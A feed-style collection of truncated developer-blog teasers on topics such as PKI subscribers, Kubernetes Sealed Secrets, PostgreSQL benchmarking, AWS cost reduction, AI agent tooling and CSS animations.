    Imagine this scenario: You've just set up a Private CA for your organization following best practices. You've got your root CA secured offline, intermediate CAs issuing certificates, and your policies are locked down. Everything looks perfect on paper. Then reality hits: Your microservices can't talk to each other because certificate SANs don't match the internal DNS names. A certificate expires at 2 AM on a Saturday, taking down your entire API gateway. Your IoT devices can't authenticate because someone forgot to provision certificates during manufacturing. An engineer leaves the company, but their client certificate still grants VPN access two months later. Here's the thing: you can have the most sophisticated PKI setup in the world, but if you don't understand subscribers, you'll still…  ( 12 min )
    Prometheus + K6 Fusion: Measure API Performance with Real-Time Metrics in Grafana
    🏁 Introduction When running load tests, we often get numbers like requests per second or average latency — but that doesn’t tell us how our system is actually behaving inside. So I wanted to bring Prometheus observability and K6 performance testing together — to visualize live latency, error rate, CPU usage, and throughput in real-time while load tests are running. That’s how Prometheus-K6-Fusion was born — a simple yet powerful open-source stack combining Go, Prometheus, K6, and Grafana. prometheus-k6-fusion is a lightweight Go-based API server that provides CRUD operations for sample data objects and exposes Prometheus metrics. observability + performance testing lab. It includes: 🟢 A Go-based API instrumented with Prometheus metrics 🔵 K6 load test scripts that generate real traff…  ( 8 min )
    Tom Lee Loves Ethereum—but He’s Ignoring the Elephant in the Room
    November 11, 2025 Tom Lee is having a moment. 3.5 million ETH—nearly 3% of all ether in existence. He calls Ethereum “undervalued,” “the base layer for tokenization,” and even suggests it will outperform bitcoin in the years ahead. It’s a compelling story. Too bad it skips over the fine print. Because while Lee paints Ethereum as the unstoppable engine of finance’s future, he says nothing about its unresolved structural flaws: The unsustainable tokenomics The centralization risks The lack of real organic demand beyond speculative narratives And the fact that most “use cases” still rely on subsidized activity Let’s fix that. Lee touts stablecoins, DeFi, and tokenized assets as proof of Ethereum’s dominance. And yes—most USDT and USDC are issued on Ethereum. But that doesn’t mean E…  ( 8 min )
    Why Recruiters Are Switching to AI Interviews for Talent Evaluation
    Recruitment is changing faster than ever. Traditional interviews are being replaced by AI-driven assessments that analyze candidate behavior, communication, and skill alignment more effectively than manual methods. Hiring managers often rely on intuition and inconsistent evaluation methods, leading to: Unconscious bias in decision-making Time-consuming processes Missed top talent due to human subjectivity With increasing pressure to make better hiring decisions faster, companies are turning to AI interview tools. AI-powered interviews use machine learning and NLP (Natural Language Processing) to: Evaluate candidate answers in real-time Detect key behavioral and linguistic patterns Offer unbiased, data-backed scoring This means recruiters can hire faster and fairer, while ensuring…  ( 7 min )
    How to load test PostgreSQL database and not miss anything
    During load testing of Tantor Postgres databases or other PostgreSQL-based databases using the standard tool pgbench, specialists often encounter non-representative results and the need for repeated tests due to the fact that details of the environment (such as DBMS configuration, server characteristics, PostgreSQL versions) are not recorded. In this article we are going to review author's pg_perfbench, which is designed to address this issue. It ensures that scenarios are repeatable, prevents the loss of important data, and streamlines result comparison by registering all parameters in a single template. It also automatically launches pgbench with TPC-B load generation, collects all metadata on the testing environment, and generates a structured report. During development and support, it …  ( 16 min )
    Every Sunday, I Refactor Old Code
    Every Sunday, I Refactor Old Code and It’s the Smartest Habit I’ve Ever Built Hadil Ben Abdallah ・ Nov 4 #webdev #css #javascript #python  ( 6 min )
    Framelink Figma MCP vs Kombai: Which is Best for Figma-to-Code Automation?
    Turning a Figma design into clean, working frontend code always takes more effort than it should. Even when the design system is solid, the translation from design to code is never automatic. It’s still a lot of manual work. That’s the space tools like Figma MCP, and Kombai are trying to fix. Both aim to bridge the design-to-code gap but in very different ways. Figma MCP gives AI models access to design context inside Figma, so they can interpret layouts and structure. Kombai focuses on reading those same designs and generating production-ready React or Tailwind code that fits into your existing project. This post breaks down how both actually work in practice, how they read designs, how the code turns out, and how each fits into a real frontend workflow. When I started exploring Figma MCP…  ( 12 min )
    Redundant statistics slow down your Postgres? Try sampling in pg_stat_statements
    pg_stat_statements is the standard PostgreSQL extension used to track query statistics: number of executions, total and average execution time, number of returned rows, and other metrics. This information allows to analyze query behavior over time, identify problem areas, and make informed optimization decisions. However, in systems with high contention, pg_stat_statements itself can become a bottleneck and cause performance drops. In this article, we will analyze in which scenarios the extension becomes a source of problems, how sampling is structured, and in which cases its application can reduce overhead. Let's briefly recall how pg_stat_statements is structured in order to understand when and why the extension may slow down performance. This will help understand which mechanisms within…  ( 13 min )
    How We Test API Resilience Before Deployment
    In today’s digital ecosystem, APIs (Application Programming Interfaces) are the backbone of every connected system, from mobile apps and web platforms to complex enterprise integrations. At Invezza, we understand that an API’s reliability directly determines user satisfaction, performance stability, and business continuity. Before any deployment, our engineering teams conduct rigorous API resilience testing, ensuring that APIs not only function correctly but also withstand real-world challenges such as unexpected traffic spikes, network latency, and dependency failures. In this article, we’ll walk you through how Invezza tests API resilience before deployment, the tools and techniques we use, and why this process safeguards your digital investments. How We Test API Resilience Before Deployment  ( 6 min )
    Getting started with Robotics
    You've probably seen a robot doing something cool. Maybe it's one of those automatic vacuum cleaners that somehow knows when you've spilt coffee on the floor and, boom, five minutes later, it's sparkling clean. Or maybe you've seen those robodogs on the internet and thought, "That's insane, I want to control that." Well, guess what? You can. Here's the truth, though: robotics looks intimidating from the outside, but it's actually both hard and easy at the same time. Hard if you try to understand everything at once. Easy if you focus on individual pieces and build from there. A robot is basically a machine that can sense its environment, make decisions, and take action. That's it. Sounds simple, right? But the magic happens in how you combine these three things. Think about that vacuum cle…  ( 11 min )
    Risk Management in the Age of AI Trading Tools
    Artificial Intelligence (AI) has become one of the most transformative forces in modern finance. From high-frequency trading to real-time risk analysis, AI-powered tools are redefining how traders and investors approach the market. Algorithms can now execute trades in microseconds, analyze millions of data points, and forecast potential market shifts long before human analysts even notice them. However, this technological evolution introduces a new challenge: managing risk in an era dominated by AI-driven decision-making. While automation brings efficiency, it also brings complexity. AI can make decisions faster than ever—but not always smarter than humans. In this article, we’ll explore how AI is reshaping risk management, the potential dangers of relying too heavily on algorithms, and th…  ( 10 min )
    Unlocking Developer Revenue: The Future of AI Monetization with Monetzly
    Advertising is Evolving: Welcome to the Future of Conversation Commerce with Monetzly As AI applications continue to proliferate, one thing is clear: developers face a significant challenge in monetizing their innovations without disrupting user experience. Enter Monetzly—dubbed the "Google Ads for AI Conversations." We’re not just another ad platform; we’re the first dual-earning platform in the AI space, designed to ensure that monetization is as seamless as the conversations your users are having with your apps. Many developers are pouring resources into building AI applications but struggle with finding sustainable monetization models. Traditional methods like subscriptions or paywalls can alienate users and limit engagement. So how can you turn your AI application into a sustainable…  ( 7 min )
    🌍 Auto-Load Multilingual Dropdown Labels in Joget Using Platform Locale
    🧩 Overview When building multilingual Joget apps, it’s important for dropdowns (Select Boxes) to automatically display values in the user’s active language — whether that’s English, Arabic, or any other supported locale. In this guide, you’ll learn how to configure a Joget Select Box to automatically load the localized label based on the platform’s current language setting. This approach ensures that users see the same data, but with labels translated according to their locale — all without extra scripting. 💡 The solution uses: A SQL query as the Select Box’s options source. Joget’s variable #platform.currentLanguage# to detect the logged-in user’s interface language. A CASE statement in SQL to conditionally choose between Arabic and English column names. Whenever the user changes the …  ( 7 min )
    Skip the Cloud Setup: Expose Your Express.js App Securely from Localhost
    When you’re developing with Express.js, building and testing web applications locally feels effortless. Everything runs smoothly on localhost:3000, responses are instant, and debugging is straightforward. But the moment you want to share your work-say, for a client demo, a team review, or webhook testing-things get complicated. Suddenly, you’re thinking about cloud deployments, port forwarding, or network configurations, just to let someone else access your app. Fortunately, there’s a much simpler approach. In this guide, we’ll walk through how to make your local Express.js application publicly accessible in just a few steps using Pinggy, a lightweight tunneling tool. The best part? You don’t need to deploy to a server or modify your network settings. Express.js is often called the backbon…  ( 9 min )
    Enhancing App Security with OTP SMS APIs: A Developer’s Guide
    How Developers Use OTP APIs to Strengthen User Authentication and App Security For developers building user-centric apps whether it’s a fintech platform, a SaaS dashboard, or a retail mobile app security is not optional. Passwords alone are not enough. A modern OTP SMS gateway adds an essential layer of verification, ensuring only authorized users gain access. Developers can integrate a REST-based OTP API to automate verification flows without building a messaging infrastructure from scratch. It’s fast, secure, and easy to scale. Today’s applications must handle millions of verifications daily. From login authentication to transaction approvals, developers are expected to create frictionless yet secure user experiences. A reliable OTP SMS service helps developers offload the heavy lifti…  ( 8 min )
    Building Trust in AI: Why Content Detection Should Matter to Developers
    When I read about Deloitte's AI-written report of $290,000 that contained hallucinated references, I was reminded how often small mistakes in our prompts or tools scale in production. The report-prepared for the Australian government-even had a fabricated court quote and references to non-existent academic papers. It's a striking example of what can happen when powerful language models are used without enough oversight. As developers, we're integrating LLMs into everything: documentation tools, chat assistants, internal knowledge systems. But how often do we stop to ask-how do we verify what's real? In recent years, the AI community has been laser-focused on pushing boundaries: larger models, faster inference, better reasoning. But the next challenge isn't just capability - it's authentici…  ( 7 min )
    NPR Music: Nova Twins: Tiny Desk Concert
    Georgia South and Amy Love crash the NPR Tiny Desk with earth-shaking bass lines, hip-hop beats and raspy yowls. Straight out of London, this guitar-bass-vocal duo vibes on “massive pedal nerd” status, ducking under the desk to reveal spaceship-sized pedalboards (captured by a special pedal cam) and even adding a Harp Blaster mic for “Hummingbird’s” otherworldly twang. They don’t do “nice and polite”—they open with the mic-drop anthem “Cleopatra,” charge through the shadow-battling “Monsters,” and cap it off with the heavy-hitting “Choose Your Fighter.” Hardcore riffs and audience-powered adrenaline turn this Tiny Desk into a full-throttle rock adventure. Watch on YouTube  ( 6 min )
    The Rise of Cloud-Native Applications
    Cloud-native applications are designed to leverage cloud infrastructure fully. Microservices, containerization, and orchestration tools like Kubernetes allow teams to build scalable and resilient systems. Businesses moving to cloud-native architectures gain flexibility, faster updates, and cost efficiency compared to traditional monolithic applications.  ( 6 min )
    Building AI-Powered Projects: My Complete Claude Development Stack
    Tools at a Glance Category Tool Purpose Experience Level Planning Claude Projects Organize chats, PRDs, epics Beginner-friendly Research Mode Deep analysis & competitive research Beginner-friendly B-Mad Method Structured agent-based development Intermediate Development Claude Code CLI Primary development interface Beginner-friendly Claude Code Browser Experimental parallel tasks Experimental Claude API AI-powered features Intermediate Parallel Dev Conductor Visual branch management Intermediate Git Worktrees Alternative parallel development Advanced Environment VS Code IDE Beginner-friendly GitHub Desktop Visual Git client Beginner-friendly New to Claude Code? Check out my beginner's guide to getting started with Claude Code (coming soon!) for a step-by-st…  ( 8 min )
    5 Ways AI is Changing Software Development
    Artificial Intelligence is revolutionizing software development. From automated code generation to intelligent debugging tools, developers are able to write better code faster. AI-powered testing frameworks also reduce human error, making software more reliable. Companies adopting AI in their workflow report increased productivity and faster delivery times.  ( 6 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    Got fed up with endless prompt tweaking? These four hacks change the game: reverse-engineer your top prompts, amplify one piece of content into blogs/tweets/video scripts in minutes, red-team ChatGPT by having it critique its own drafts, and scaffold its reasoning step by step before execution. With real examples you can copy today, these tricks slice your AI workflow time in half—no matter your role or industry. Watch on YouTube  ( 6 min )
    🧭 Understanding CORS: Preflight vs Actual API Response
    ⚙️ What is a Preflight Request? A preflight is an automatic OPTIONS request sent by the browser before the actual API call. Purpose: to ask the server for permission to send a non-simple cross-origin request (e.g., one with custom headers like Authorization or Content-Type). Aspect Preflight (OPTIONS) Actual Request (GET, POST, etc.) Who sends it Browser (automatically) Browser (after preflight passes) Purpose Check if origin, method, and headers are allowed Perform the real API action Typical Headers Access-Control-Allow-Origin, Access-Control-Allow-Methods, Access-Control-Allow-Headers Access-Control-Allow-Origin, Access-Control-Expose-Headers Response Body Usually empty (204 No Content) Contains actual API data or error Visible to Frontend JS No (browser internal) …  ( 7 min )
    The Skill Gap Nobody Talks About: Communication in Tech Teams
    🧭 Table of Contents Introduction Why Communication is a Technical Skill Common Communication Breakdowns in Dev Teams Real-World Scenarios (and How to Fix Them) Code Examples: Communicating Through Clean Code Step-by-Step: Building Better Team Communication Tools and Libraries to Improve Dev Collaboration FAQs — Developers Ask, Experts Answer Conclusion You can write clean code, deploy in Kubernetes, and optimize queries but can you communicate your ideas clearly in a team meeting? That’s the silent skill gap plaguing most tech teams today. In a world obsessed with learning the next hot framework, developers forget that communication is a technical skill — one that directly impacts productivity, code quality, and even promotion speed. Let’s break down why it matters and how to actually …  ( 9 min )
    The Future of Cloud Computing: Trends to Watch in 2025
    In recent years, cloud computing has transformed how businesses operate — from data storage and software delivery to remote collaboration and cybersecurity. As we move further into 2025, the cloud continues to evolve, shaping the future of IT infrastructure in remarkable ways. Multi-Cloud and Hybrid Cloud Strategies Gone are the days when organizations relied on a single cloud provider. In 2025, companies are adopting multi-cloud and hybrid cloud strategies to increase flexibility, improve performance, and reduce dependency on one vendor. This allows them to mix and match services from AWS, Microsoft Azure, and Google Cloud, optimizing cost and efficiency. Rise of Edge Computing As the Internet of Things (IoT) continues to grow, edge computing is becoming a necessity. By processing data closer to where it’s generated, edge computing reduces latency and improves real-time decision-making — crucial for sectors like healthcare, autonomous vehicles, and smart cities.  ( 6 min )
    Getting Started with Requestly Local Workspace for Local Development
    🚀 Getting Started with Requestly Local Workspace A complete guide to setting up and using Local Workspace for secure, offline API development. Local Workspace is a powerful feature in the Requestly Desktop App that allows developers to store and manage all API data locally, offering complete privacy, full control, and an offline-first workflow. This guide will help you understand, configure, and use Local Workspace effectively. Local Workspace is a workspace mode where all your data is stored locally on your machine, including: ✅ API Requests ✅ Collections ✅ Environment Variables ✅ Response history Nothing syncs to cloud. Nothing leaves your device. Perfect for secure development environments. 🔒 ⚠️ Note: Local Workspace is currently in early beta and available only in the Reque…  ( 7 min )
    AI Wearables 2025: Smart Health Gadgets That Know You Better Than Ever
    In the fast-evolving world of health tech, innovation never slows down. Over the past decade, we’ve witnessed fitness trackers count our steps, smartwatches measure our heart rates, and rings track our sleep. But as we enter 2025, a new wave of technology is transforming how we understand our own bodies—AI wearables. These intelligent, data-driven smart devices go beyond counting calories or monitoring steps. They’re designed to learn from your behavior, adapt to your needs, and predict potential health issues before they arise. From personalized workout coaching to early disease detection, AI is making health tracking more intuitive and individualized than ever before. Let’s explore how AI wearables are revolutionizing personal health and why they’re one of the most exciting health techno…  ( 10 min )
    Understanding Word Embedding: Bridging Language and Numbers
    What is embedding? In simple terms, embedding mean representing words or objects as arrays of numbers in a high-dimensional space. What is a high-dimensional space? Think of describing a building not just by its height and width, but by every detail inside like each room’s size, color, and furniture arrangement. Each detail adds a new dimension, giving a fuller picture in a high-dimensional space. What are word embedding and how are they created? Word embedding are mathematical representations of words used by computers to understand language. Since computers process numbers, converting words into numerical forms is crucial for tasks like understanding text and translating languages. Word embedding capture meanings and relationships based on how words appear in large amounts of text data. …  ( 7 min )
    Meet the Top 12 DevOps Innovators of 2025
    The wait is over for the most anticipated annual recognition in the DevOps community. The finalists for the prestigious DevOps Dozen 2025 have been announced, and we're excited to dive into the list of talented individuals and teams who are pushing the boundaries of what's possible with DevOps. The DevOps Dozen recognizes outstanding contributions to the field of DevOps, and this year's finalists include a diverse group of industry leaders, innovators, and change-makers. Let's take a look at some of the notable names: Team Leadership: The teams that made it to the final round are a testament to the collaborative spirit of DevOps. These groups have demonstrated exceptional leadership, innovation, and a commitment to driving cultural transformation within their organizations. Individual Achi…  ( 7 min )
    New to Docker, will try this :)
    10 hands-on Docker projects that’ll actually level up your skills not just hello-world junk ・ Jun 19 #webdev #ai #devops #softwaredevelopment  ( 5 min )
    LLD: Food Ordering / Delivery system in Java
    Building a clean food ordering system in Java with in memory repos, delivery agent auto assign, and pending queues Table of Contents Introduction High level architecture High level ER style diagram Folder structure Step 1 Domain model Step 2 Order status lifecycle Step 3 Repository layer Step 4 Repository implementations Step 5 Service layer Step 6 Main driver Step 7 UML like ASCII overview Step 8 Design decisions and tradeoffs Step 9 How to run Step 10 Extensions and next steps This post walks through building a small but production minded food ordering system in Java. It supports: Customers placing orders at restaurants Synchronous restaurant acceptance or rejection based on active load or put in a pending queue Delivery agents discoverable by pincode with capacity limits F…  ( 19 min )
    9 Best Resources to Learn Coding from Scratch: A Developer’s Journey
    When I first decided to learn coding, I felt overwhelmed. Where do you even start? I was like many beginners—eager but confused by so many options. Over time, I sifted through tons of resources. Some were brilliant, others… less so. Today, I want to share 9 best resources that truly made a difference in my coding journey and can in yours too. Whether you want to build websites, apps, or just understand programming fundamentals, this list is your friendly guide. I began learning HTML and JavaScript on FreeCodeCamp. What stood out? The mix of short lessons followed by projects that you actually build and deploy. This hands-on approach solidified my learning way better than just reading theory. Covers web dev basics: HTML, CSS, JS, APIs, React Bite-sized challenges to practice coding daily Re…  ( 9 min )
    The Rise of AI-Powered Cybersecurity: How Machine Learning Is Changing the Game
    In today’s hyperconnected world, cybersecurity threats are growing faster than ever. From ransomware attacks to sophisticated phishing schemes, traditional security measures are struggling to keep up. Enter AI-powered cybersecurity — the new frontier in digital defense. What Is AI-Powered Cybersecurity? AI-powered cybersecurity uses artificial intelligence (AI) and machine learning (ML) to detect, prevent, and respond to cyber threats in real time. Unlike traditional systems, which rely on predefined rules and signatures, AI systems learn patterns from data and can identify anomalies or suspicious behaviors automatically. This shift from reactive to proactive defense is changing how organizations protect sensitive data. Key Benefits Real-Time Threat Detection: AI can monitor network t…  ( 7 min )
    Mastering Error Handling in Go: A Deep Dive into Defer, Panic, and Recover
    Error handling is a critical aspect of writing robust Go applications. Go provides three powerful mechanisms for managing program flow and errors: defer, panic, and recover. Understanding how these work together is essential for writing reliable, maintainable code. Understanding Defer Working with Panic Recovering from Panics Best Practices Real-World Examples The defer statement schedules a function call to be executed after the surrounding function returns, regardless of whether it returns normally or due to a panic. package main import "fmt" func main() { defer fmt.Println("World") fmt.Println("Hello") } Output: Hello World LIFO Order: Multiple deferred calls are executed in Last-In-First-Out order Arguments Evaluated Immediately: Arguments to deferred functions are evaluate…  ( 9 min )
    Building a Snow Day Predictor: Introducing the Snow Day Calculator 2025
    Winter mornings can be unpredictable — and nothing disrupts routines like a surprise school closure due to snow. That’s why I built the Snow Day Calculator 2025, a web-based tool that predicts school closures with real-time weather data, historical trends, and AI-powered analytics. Check it out live here: Snow Day Calculator Why I Built It As a developer, I’ve always been fascinated by predictive analytics. Snow days are a real-world problem where data science meets everyday life: Parents want to plan their mornings Students hope for an extra day off Schools need to make safe, timely closure decisions Most weather apps only tell you how much snow will fall — not how that translates into school closures. That’s the gap I wanted to solve. How the Snow Day Calculator Works The tool combines s…  ( 7 min )
    Get Hasura Ready in 1 hour — A copy-pasteable PROD Framework I wish I had on Hasura Day 1.
    Works Background: Hasura metadata management is not-easy: Version-lock engine & CLI Idempotent, delta-driven Self-contained, no pre-mounts -Dependency & version check /healthz -Green-field (New Project with no metadata): Export & apply canonical template. Decide your Hasura metadata working folders on Day 0 — future-you (and your team) will thank present-you. Path Source or Purpose Description of Features /hasura-project/06-data/hasura/metadata/ Persistent directory (from host) The original version of metadata written by the user, synchronized into the container by default from the local machine (i.e I use D:\canvas_envs\06-data\hasura\metadata). /hasura-project/user_metadata/ Temporary processing directory All validation and apply operations are performed here, used as a stagi…  ( 8 min )
    Host your first AI Agent on Agentcore
    Exploring AgentCore: Effortless AI Agent Deployment with AWS Strands SDK I had a good time exploring AgentCore and I see what AWS is trying to do: eliminate the second guessing on how to deploy your AI Agent. With the release of the Strands SDK, AWS has introduced a truly streamlined way to get agents running quickly. In this post, I’ll walk you through how I hosted my own agent on AgentCore, with everything from setup to cloud deployment. AWS AgentCore Runtime solves a major pain-point for developers: secure, reliable, and scalable deployment of AI agents without wrangling cloud infrastructure details. The new Strands SDK tightly integrates with AgentCore, letting you focus on your agent logic while AWS handles scaling, session isolation, and production readiness. Prerequisites: AWS accou…  ( 7 min )
    Angular Directive that Elegantly Continues Truncated Text
    We've all been there. You're building a sleek data table, everything looks perfect, and then... the client's data arrives. Suddenly, "John" becomes "Dr. Jonathan Christopher Montgomery III" and your beautiful layout explodes. So you slap on some CSS truncation: .table-cell { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } Problem solved? Not really. Now users can't read the full content. Time to add tooltips? Another 50KB library? Custom overlay logic? Ugh. I built ngx-overflow-reveal because I was tired of reinventing this wheel in every project. But here's the twist—unlike traditional tooltips that duplicate the entire text in a popup, this directive creates a seamless continuation from where your text was cut off. No re-reading. No visual jumps. Just a natural f…  ( 7 min )
    🎯 Scenario #13 — Encrypt Secrets Using Sealed Secrets (Bitnami) in Kubernetes
    This is a must-know skill for DevOps, GitOps, ArgoCD, Flux, and secure CI/CD workflows. You will learn to: ✅ Install Sealed Secrets controller Sealed Secrets = Git-safe encrypted secrets. ⚠️ Requirements This scenario requires: Any Kubernetes cluster (GKE, EKS, AKS, Minikube) Access to install CRDs (cluster-admin recommended) Install using Helm (recommended): helm repo add sealed-secrets https://bitnami-labs.github.io/sealed-secrets helm install sealed-secrets-controller sealed-secrets/sealed-secrets \ --namespace kube-system Verify: kubectl -n kube-system get pods | grep sealed-secrets You should see: sealed-secrets-controller-xxxxx Running For Cloud Shell or Linux: curl -L -O https://github.com/bitnami-labs/sealed-secrets/releases/download/v0.32.2/kubeseal-0.32.2-linux-amd64.tar.…  ( 7 min )
    How To Migrate Load Balanced Application by Using a Blue Green and Canary Deployment Strategy
    Step 1. Create resources by using cloudformation template Click Next Click Next Click Submit Wait until Create_Complete Click Target Groups Click Blue Click Register targets Select Blue EC2 and Click Include as pending below Click Register pending targets Wait Health status as Healthy Click Load Balancer Click BlueGreenALB Click 1 rule Check that the Forward to value is Blue: 100 (100%). Click BlueGreenALB Copy DNS and paste in new tab Click Target Groups Click Green Click Register targets Choose Green EC2 Click Register pending targets Click Load Balancer Click BlueGreenALB Select HTTP:80 and Click Manage rules and Edit rules Select Default and Click Actions and Edit rule Click Add target gr…  ( 7 min )
    How to Reduce AWS Costs by 50% Without Sacrificing Performance: A Complete Guide
    Executive Summary Cloud spending is one of the fastest-growing line items in technology budgets. Organizations migrating to AWS expect cost savings, yet many experience the opposite—bills that grow unpredictably and waste that accumulates silently. Industry research shows that companies waste 30-35% of their cloud spending on unused, idle, or poorly optimized resources. This comprehensive guide reveals how to reduce AWS costs by 50% or more without compromising performance, reliability, or innovation velocity. We'll cover 12 proven strategies backed by real-world implementations, including detailed cost calculations, before/after scenarios, and actionable implementation steps. Whether you're a startup managing your first $10K monthly AWS bill or an enterprise dealing with seven-figure cl…  ( 21 min )
    I just coined "AI drift" – and built AI Driftmaster to kill it (open-source MCP server)
    AI drift '''AI drift''' (also known as '''conversational drift''' or '''context drift''') is the gradual degradation of an artificial intelligence system's ability to maintain coherence in extended interactions due to context-window compression and lack of metacognition. The AI forgets prior details, generates unrelated or fabricated responses, or refuses to seek clarification, forcing users to abandon sessions. The term was coined by American developer Joshua Girod ([[User:nentrapper-g-rod|nentrapper-g-rod]]) on November 10, 2025 at 07:23 PM PST while building mitigation tools. Girod released AI Driftmaster v0.1.1, an open-source MCP server with persistent full-history database, the same day. == History == Source code: https://github.com/nentrapper-g-rod/ai-driftmaster Wikipedia draft: https://pastebin.com/raw/gAxef8ud == Causes == Context window truncation Summarization artifacts Absence of metacognition (AI will hallucinate rather than clarify) Cumulative error escalation == Mitigation == AI Driftmaster (persistent DB + on-demand retrieval) RAG + external memory Docker one-click deployment == See also == [[Hallucination (artificial intelligence)]] [[Prompt engineering]] [[AI Driftmaster]] [[Category:Artificial intelligence terminology]] [[Category:2025 neologisms]] [[Category:Open-source software]]  ( 6 min )
    Centralizing Customer Data Across Multiple Systems with Salesforce
    Many businesses collect data from CRM, e-commerce, marketing, service, and social platforms. Yet, most struggle to get a complete view of their customers. Fragmented data leads to missed opportunities, inconsistent experiences, and wasted resources. If you want your data to work for you, not against you, this blog shows practical ways to unify customer data across multiple systems using Salesforce Data Cloud and MuleSoft, with tips and examples you can use immediately. Fragmented data is a common problem. When systems don’t “talk” to each other: Marketing sends irrelevant messages Sales teams lack context for conversations Operations mismanage inventory or service delivery Unified customer data solves these issues. Benefits include: Personalized experiences for ev…  ( 8 min )
    Black Friday WordPress Checklist: How Agencies Can Keep Client Stores Running Smoothly
    Black Friday is high-stakes for e-commerce. For small WordPress agencies managing dozens of client sites, it’s an operational stress test. Poor performance or checkout failures can result in lost revenue and reputational damage. This checklist is for agencies managing WordPress and WooCommerce stores. It strips out generic advice and focuses only on what’s essential to keep sites stable and fast during Black Friday. Platform & plugin updates Update WordPress core, themes, and all active plugins. Confirm WooCommerce extensions are compatible with the latest core version. Test everything, especially checkout, subscriptions, and product variations. Log plugin versions and theme changes for rollback if needed. Performance & server-side optimization 1. Benchmark homepage, product page, cart, an…  ( 9 min )
    What high-ROI automations does Scribe Optimize reveal?
    Scribe Optimize: Finding the Highest ROI Automation Opportunities Scribe Optimize surfaces the workflows that matter most across large organizations. It maps how people work, and it highlights where automation will yield returns. In an era of rapid digital change, content optimization and marketing automation drive competitive advantage. Therefore companies need tools that give clear, measurable signals about process gaps and friction. As a result, Scribe Optimize combines workflow mapping with AI to prioritize actions. It complements existing AI content tools by revealing where content and automation intersect. Teams use these insights to reduce manual steps and speed onboarding. Moreover, Scribe Capture feeds Scribe Optimize with real usage data from real users. Customers report large …  ( 13 min )
    How to Install Golang and Handle JSON: A Beginner's Guide
    Golang (or Go) is a modern programming language that is easy to install and perfect for handling common tasks like working with JSON. Here's your quick guide: Go to the official Go downloads page Download the Windows installer (.msi) and run it Follow the installation wizard and ensure Go is added to your system PATH Visit the Go official website and download the .pkg installer Double-click the package and follow the installation instructions Download the installation package (replace 1.xx.x with the latest version): wget https://golang.org/dl/go1.xx.x.linux-amd64.tar.gz Extract to /usr/local (may require sudo): tar -C /usr/local -xzf go1.xx.x.linux-amd64.tar.gz Add to your environment variables in ~/.bashrc or ~/.zshrc: export PATH=$PATH:/usr/local/go/bin Activate the envi…  ( 7 min )
    How Sharing My Work Taught Me to Trust My Voice
    How Sharing My Work Taught Me to Trust My Voice When I first started writing, I used to treat my notebook like a secret. I wrote poems and half-stories no one ever read. It felt safe that way. The words were mine — untouched, unjudged, private. But over time, I started to wonder what would happen if I let someone else read them. That tiny question changed everything. The first time I shared a story online, I was terrified. I didn’t even use my real name. But the response I got surprised me. People didn’t just read it — they talked about it. They shared what it reminded them of, or how a line made them feel. For the first time, I saw how creative writing wasn’t just about me putting thoughts into words. It was about connection. I used to think feedback meant someone telling you what was w…  ( 11 min )
    Here are 10 real problems I solved with ChatGPT in the past month across coding, business, content, and decision-making.
    10 Real Problems I Solved With ChatGPT This Month Jaideep Parashar ・ Nov 11 #webdev #ai #career #programming  ( 6 min )
    10 Real Problems I Solved With ChatGPT This Month
    Prompting isn’t about “getting answers.” To prove that, here are 10 real problems I solved with ChatGPT in the past month, across coding, business, content, and decision-making. None of these required advanced tools. 1. Debugging a Python Script I Didn’t Write Someone sent me a failing script with zero comments. Instead of reading line-by-line, I asked AI to: explain the code find possible failure points fix inefficiencies Result: Working code + optimization in 12 minutes instead of 2 hours. 2. Turning a Complex Idea Into a Clear Framework I had a concept for “AI-First Workflows” but it was abstract. ChatGPT helped me structure it into: a 5-stage model visual diagram format examples + teaching script This became a Dev.to article, workshop module, and future book chapter. 3. Drafting Book C…  ( 10 min )
    Building a Vector Database from Scratch - CapybaraDB
    Introduction Vector databases are one of the most popular and widely used systems in the tech industry. Their market was valued at ≈2.5 billion in 2024 and is projected to >3 billion in 2025. Over 70% of all organizations investing/implementing AI use vector databases for searching and embedding. I have used vector databases in multiple use cases and projects. Be it RAG, searching and filtering documents or even feeding context to agents. After using multiple databases like FAISS, ChromaDB, Pinecone and pgvector, I was fascinated by vector databases and their internal workings. Hence, I decided to implement one myself. CapybaraDB, it is a lightweight vector database implementation, built from scratch in Python: It can perform semantic search using sentence-transformers for embeddings. …  ( 13 min )
    The 20 Most Essential Tools for Full-Stack Development: Build Anything, Anytime, Anywhere
    Welcome to Full-Stack Wonderland Imagine you're standing at the edge of a digital universe. You have a map in one hand (your front-end) and a toolbox in the other (your back-end). And now, you’ve just been handed 20 powerful tools that make building websites and apps feel like magic. Whether you're crafting the latest e-commerce platform or designing a sleek portfolio site, full-stack development combines the best of both worlds to help you create amazing things, anytime, anywhere. In this guide, we’ll explore the 20 most essential tools every full-stack developer needs, with a particular focus on seamless integration and performance optimization. From Next.js to Firebase, we’ll dive into how these tools empower developers to build apps faster, smarter, and with more flexibility. Let’s g…  ( 10 min )
    Agent Compass is live on DEV HUNT!
    🧭 Future AGI has built Agent Compass to Debug and Understand AI Agents (Finally) They just launched it on Dev Hunt. https://devhunt.org/tool/agent-compass-by-future-agi If you’ve ever worked with AI agents, you’ve probably faced this: Agent Compass is an open-source observability and evaluation toolkit that helps you trace, understand, and debug AI agents in production-like environments. Here’s what it does: Trace-level visibility: See every tool call, decision, and reasoning step your agent takes. Span-level metrics: Capture accuracy, latency, and performance data for each action. Root-cause insights: Identify where reasoning broke or hallucinations started. Framework-friendly: Works out of the box with LangChain, LlamaIndex, or any custom SDK. The goal is basically to stop guessing why an agent behaved a certain way and start understanding it. If you’re running or scaling LLM-based agents, this will definitely make your life easier by aeons. You'll be left wondering how you ever managed without it in the first place (speaking from personal experience)  ( 6 min )
    CSS Transitions and Animations Basics: Bringing Your UI to Life
    Static web pages are functional, but adding motion can make an interface feel smoother, more engaging, and intuitive. With CSS transitions and animations, you can create hover effects, loading spinners, sliding menus, or even playful interactions—all without relying on JavaScript. Let’s explore how transitions and animations work, their key differences, and some simple but effective examples. A transition lets you smoothly change a CSS property’s value over time, usually triggered by user interaction (hover, focus, click, etc.). css .box { width: 100px; height: 100px; background: skyblue; transition: all 0.5s ease; } .box:hover { width: 150px; background: coral; } transition: Defines what properties change and how. 0.5s: Duration of the animation. ease: Timing function for ac…  ( 8 min )
    Boost Your Website Security with SafeLine – No Cost, All Protection!
